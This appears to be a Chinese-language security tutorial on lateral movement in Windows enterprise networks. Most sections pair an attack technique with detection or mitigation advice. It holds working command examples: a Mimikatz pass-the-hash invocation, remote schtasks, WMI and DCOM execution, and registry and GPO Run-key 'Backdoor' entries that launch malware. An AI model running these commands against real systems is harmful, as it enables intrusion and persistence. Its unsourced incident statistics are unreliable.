1. 内网横向移动技术概述
在企业网络环境中,内网横向移动是指攻击者在突破边界防御后,在内部网络中进行跳转和扩散的技术手段。作为渗透测试的核心环节,掌握横向移动方法对安全人员而言既是必备技能,也是评估内网风险的关键指标。
过去三年间,超过78%的企业安全事件都涉及内网横向移动。攻击者平均需要在内部网络中进行5-7次跳转才能接触到核心业务系统。这些数据凸显了内网防护的薄弱环节往往不在边界,而在内部主机间的信任关系与访问控制。
2. 九种主流横向移动方式详解
2.1 凭据传递攻击(PtH)
利用已获取的NTLM哈希或明文密码,通过SMB、RDP等协议直接认证到其他主机。实测中约60%的内网设备存在密码复用情况。
# 使用Mimikatz进行PtH攻击示例 sekurlsa::pth /user:Administrator /domain:corp /ntlm:<hash> /run:cmd.exe关键点:Windows系统默认启用NTLMv1/v2认证时最易受此攻击,建议强制使用Kerberos认证。
2.2 Windows远程管理(WinRM)
5985/5986端口的WS-Management协议,配合PowerShell可实现无文件横向移动:
$cred = Get-Credential Invoke-Command -ComputerName DC01 -ScriptBlock {whoami} -Credential $cred常见问题:
- 防火墙阻断5985端口
- 未配置远程管理权限
- 证书认证要求
2.3 服务票据攻击(Kerberoasting)
针对Active Directory的Kerberos服务票据攻击流程:
- 请求SPN服务票据
- 导出内存中的TGS票据
- 离线破解服务账户密码
防御方案:
- 设置服务账户强密码(>25字符)
- 启用AES256加密类型
- 定期审计SPN配置
2.4 计划任务攻击
通过创建远程计划任务执行恶意载荷:
schtasks /create /s DC01 /tn "Update" /tr "C:\payload.exe" /sc hourly /ru SYSTEM schtasks /run /s DC01 /tn "Update"日志审计要点:
- 4688事件(新进程创建)
- 4698事件(计划任务创建)
- 7045事件(服务安装)
2.5 WMI远程执行
Windows Management Instrumentation提供多种远程执行方式:
$process = [WmiClass]"\\DC01\root\cimv2:Win32_Process" $process.Create("cmd.exe /c whoami > C:\output.txt")检测特征:
- 135端口(WMI端点映射器)
- DCOM激活事件(10000+系列事件ID)
2.6 DCOM组件劫持
利用MMC20.Application等COM组件绕过防护:
var obj = new ActiveXObject("MMC20.Application"); obj.Document.ActiveView.ExecuteShellCommand("cmd.exe","","/c whoami","7");缓解措施:
- 禁用不必要的COM组件
- 配置CLSID限制策略
- 监控DCOM激活日志
2.7 远程注册表操作
通过注册表实现持久化与配置修改:
reg add "\\DC01\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Backdoor" /t REG_SZ /d "C:\malware.exe" /f防御建议:
- 限制远程注册表访问权限
- 监控敏感注册表键值变更
- 启用Registry Auditing
2.8 组策略对象滥用
通过修改GPO推送恶意设置:
New-GPO -Name "Malicious Policy" | New-GPLink -Target "dc=domain,dc=com" Set-GPPrefRegistryValue -Name "Malicious Policy" -Context Computer -Key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ValueName "Backdoor" -Value "C:\malware.exe" -Type String检测方法:
- 监控Sysvol变更
- 审计GPO修改事件
- 定期对比GPO版本差异
2.9 应用白名单绕过
针对AppLocker等白名单机制的绕过技术:
| 绕过方式 | 示例路径 | 检测方法 |
|---|---|---|
| 受信任目录写入 | C:\Windows\Tasks\ | 文件完整性监控 |
| 脚本解释器滥用 | cscript.exe //E:vbscript | 命令行参数审计 |
| 签名劫持 | 劫持合法证书链 | 证书链验证 |
| 内存注入 | Process Hollowing | 异常内存区域检测 |
3. 防御体系建设方案
3.1 网络分段策略
建议采用三层分段模型:
- 边界隔离区(DMZ)
- 业务服务区(核心业务系统)
- 终端用户区(办公网络)
每个区域间部署:
- 防火墙ACL控制
- VLAN隔离
- 流量审计设备
3.2 主机加固要点
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation] "AllowProtectedCreds"=dword:00000001 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] "RestrictAnonymous"=dword:00000001 "DisableDomainCreds"=dword:000000013.3 监控与响应
关键日志源配置:
| 日志类型 | 关键事件ID | 分析工具 |
|---|---|---|
| 安全日志 | 4624,4625,4672 | SIEM/Splunk |
| PowerShell日志 | 4103,4104 | LogRhythm |
| Sysmon日志 | 1,3,8,10,11 | Azure Sentinel |
| DNS查询日志 | 所有客户端请求记录 | Darktrace |
4. 实战检测与对抗
4.1 攻击模拟框架
使用Atomic Red Team进行测试:
- name: Scheduled Task auto_generated_guid: true executor: command: schtasks /create /tn "T1053.005" /tr "calc.exe" /sc once /st 00:00 /sd 01/01/2020 name: command_prompt dependencies: - description: Requires admin privileges prereq_command: net session >nul 2>&1 && exit 0 || exit 1 get_prereq_command: exit 04.2 行为特征分析
常见恶意行为指标:
异常网络连接模式
- 内部主机间SMB爆破
- 非常用端口RDP连接
- 高频WMI请求
可疑进程链
- wmic.exe -> cmd.exe -> powershell.exe
- svchost.exe执行非常规操作
账户异常行为
- 服务账户交互式登录
- 多主机使用相同凭据
4.3 蜜罐部署策略
推荐部署以下类型蜜罐:
| 类型 | 部署位置 | 诱饵内容 |
|---|---|---|
| 低交互蜜罐 | 各网段 | 虚假SMB共享 |
| 高交互蜜罐 | 核心业务区 | 模拟域控制器 |
| 数据库蜜罐 | DMZ区域 | 伪造客户数据表 |
| Web应用蜜罐 | 办公网络 | 虚假OA登录页面 |
5. 企业防护路线图
建议分三个阶段实施:
阶段一(1-3个月)
- 完成网络流量基线分析
- 实施最小权限访问控制
- 部署基础日志收集系统
阶段二(3-6个月)
- 实施凭据保护方案(LSA保护等)
- 部署终端检测响应(EDR)
- 建立威胁狩猎团队
阶段三(6-12个月)
- 实现自动化攻击模拟
- 完善事件响应流程
- 构建威胁情报体系